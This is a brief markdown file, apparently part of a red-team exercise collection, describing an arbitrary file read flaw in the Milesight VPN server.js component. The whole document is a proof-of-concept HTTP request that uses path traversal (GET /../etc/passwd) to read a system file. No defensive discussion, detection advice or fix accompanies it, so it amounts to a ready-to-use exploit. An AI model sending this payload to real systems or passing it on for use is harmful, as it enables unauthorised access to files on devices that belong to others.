2023Hvv/Milesight VPN server.js 任意文件读取漏洞.md

POC:

GET /../etc/passwd HTTP/1.1

Host:

Accept: /

Content-Type: application/x-www-form-urlencoded